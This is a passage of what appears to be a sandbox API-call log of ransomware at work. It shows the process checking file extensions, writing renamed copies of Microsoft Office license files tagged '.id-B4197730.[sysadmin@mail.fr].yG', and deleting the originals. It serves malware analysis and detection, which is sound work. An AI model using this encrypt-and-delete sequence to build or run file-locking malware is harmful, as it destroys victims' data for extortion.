	[0163.108] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.108] lstrlenW (lpString=".ppt") returned 4
	[0163.108] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.108] lstrlenW (lpString=".zip") returned 4
	[0163.108] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.108] lstrlenW (lpString=".rar") returned 4
	[0163.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.109] lstrlenW (lpString=".bz2") returned 4
	[0163.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.109] lstrlenW (lpString=".7z") returned 3
	[0163.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.109] lstrlenW (lpString=".dbf") returned 4
	[0163.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.109] lstrlenW (lpString=".1cd") returned 4
	[0163.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.109] lstrlenW (lpString=".jpg") returned 4
	[0163.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0163.110] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11609) returned 1
	[0163.110] CloseHandle (hObject=0x340) returned 1
	[0163.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0163.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0163.111] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.111] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.112] GetLastError () returned 0x0
	[0163.112] ReadFile (in: hFile=0x340, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0163.240] WriteFile (in: hFile=0x52c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0163.242] ReadFile (in: hFile=0x340, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.242] WriteFile (in: hFile=0x52c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0163.242] SetEndOfFile (hFile=0x52c) returned 1
	[0163.243] CloseHandle (hObject=0x52c) returned 1
	[0163.243] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.243] SetEndOfFile (hFile=0x340) returned 1
	[0163.247] CloseHandle (hObject=0x340) returned 1
	[0163.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.249] lstrlenW (lpString=".doc") returned 4
	[0163.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.249] lstrlenW (lpString=".docx") returned 5
	[0163.249] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.249] lstrlenW (lpString=".pdf") returned 4
	[0163.249] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString=".xls") returned 4
	[0163.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString=".xlsx") returned 5
	[0163.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.250] lstrlenW (lpString=".ppt") returned 4
	[0163.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.250] lstrlenW (lpString=".zip") returned 4
	[0163.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString=".rar") returned 4
	[0163.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString=".bz2") returned 4
	[0163.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString=".7z") returned 3
	[0163.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.250] lstrlenW (lpString=".dbf") returned 4
	[0163.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.250] lstrlenW (lpString=".1cd") returned 4
	[0163.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0163.250] lstrlenW (lpString=".jpg") returned 4
	[0163.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0163.251] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10619) returned 1
	[0163.252] CloseHandle (hObject=0x340) returned 1
	[0163.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220
	[0163.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0163.252] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.252] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0163.253] GetLastError () returned 0x0
	[0163.253] ReadFile (in: hFile=0x340, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x297b, lpOverlapped=0x0) returned 1
	[0163.414] WriteFile (in: hFile=0x52c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2980, lpOverlapped=0x0) returned 1
	[0163.415] ReadFile (in: hFile=0x340, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.415] WriteFile (in: hFile=0x52c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfe, lpOverlapped=0x0) returned 1
	[0163.415] SetEndOfFile (hFile=0x52c) returned 1
	[0163.416] CloseHandle (hObject=0x52c) returned 1
	[0163.416] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.416] SetEndOfFile (hFile=0x340) returned 1
	[0163.738] CloseHandle (hObject=0x340) returned 1
	[0163.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1
	[0164.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.139] lstrlenW (lpString=".doc") returned 4
	[0164.139] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.139] lstrlenW (lpString=".docx") returned 5
	[0164.139] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.139] lstrlenW (lpString=".pdf") returned 4
	[0164.139] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.139] lstrlenW (lpString=".xls") returned 4
	[0164.139] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.139] lstrlenW (lpString=".xlsx") returned 5
	[0164.139] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.140] lstrlenW (lpString=".ppt") returned 4
	[0164.140] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.140] lstrlenW (lpString=".zip") returned 4
	[0164.140] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.140] lstrlenW (lpString=".rar") returned 4
	[0164.140] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.140] lstrlenW (lpString=".bz2") returned 4
	[0164.140] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.140] lstrlenW (lpString=".7z") returned 3
	[0164.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.141] lstrlenW (lpString=".dbf") returned 4
	[0164.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.191] lstrlenW (lpString=".1cd") returned 4
	[0164.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0164.191] lstrlenW (lpString=".jpg") returned 4
	[0164.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.192] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11617) returned 1
	[0164.192] CloseHandle (hObject=0x538) returned 1
	[0164.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0164.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0164.193] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.193] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0164.195] GetLastError () returned 0x0
	[0164.195] ReadFile (in: hFile=0x538, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d61, lpOverlapped=0x0) returned 1
	[0164.198] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0164.200] ReadFile (in: hFile=0x538, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.200] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0164.200] SetEndOfFile (hFile=0x550) returned 1
	[0164.200] CloseHandle (hObject=0x550) returned 1
	[0164.201] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.201] SetEndOfFile (hFile=0x538) returned 1
	[0164.205] CloseHandle (hObject=0x538) returned 1
	[0164.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0164.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.207] lstrlenW (lpString=".doc") returned 4
	[0164.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.207] lstrlenW (lpString=".docx") returned 5
	[0164.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.207] lstrlenW (lpString=".pdf") returned 4
	[0164.207] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.207] lstrlenW (lpString=".xls") returned 4
	[0164.207] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString=".xlsx") returned 5
	[0164.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.208] lstrlenW (lpString=".ppt") returned 4
	[0164.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.208] lstrlenW (lpString=".zip") returned 4
	[0164.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString=".rar") returned 4
	[0164.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString=".bz2") returned 4
	[0164.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString=".7z") returned 3
	[0164.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.208] lstrlenW (lpString=".dbf") returned 4
	[0164.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.208] lstrlenW (lpString=".1cd") returned 4
	[0164.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0164.209] lstrlenW (lpString=".jpg") returned 4
	[0164.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.212] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19962) returned 1
	[0164.212] CloseHandle (hObject=0x538) returned 1
	[0164.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0164.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0164.214] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.214] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0164.216] GetLastError () returned 0x0
	[0164.216] ReadFile (in: hFile=0x538, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4dfa, lpOverlapped=0x0) returned 1
	[0164.230] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0164.232] ReadFile (in: hFile=0x538, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.232] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0164.630] SetEndOfFile (hFile=0x550) returned 1
	[0164.630] CloseHandle (hObject=0x550) returned 1
	[0164.630] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.630] SetEndOfFile (hFile=0x538) returned 1
	[0164.634] CloseHandle (hObject=0x538) returned 1
	[0164.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0166.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.618] lstrlenW (lpString=".doc") returned 4
	[0166.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.618] lstrlenW (lpString=".docx") returned 5
	[0166.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.618] lstrlenW (lpString=".pdf") returned 4
	[0166.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.618] lstrlenW (lpString=".xls") returned 4
	[0166.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.618] lstrlenW (lpString=".xlsx") returned 5
	[0166.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.619] lstrlenW (lpString=".ppt") returned 4
	[0166.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.619] lstrlenW (lpString=".zip") returned 4
	[0166.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.619] lstrlenW (lpString=".rar") returned 4
	[0166.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.619] lstrlenW (lpString=".bz2") returned 4
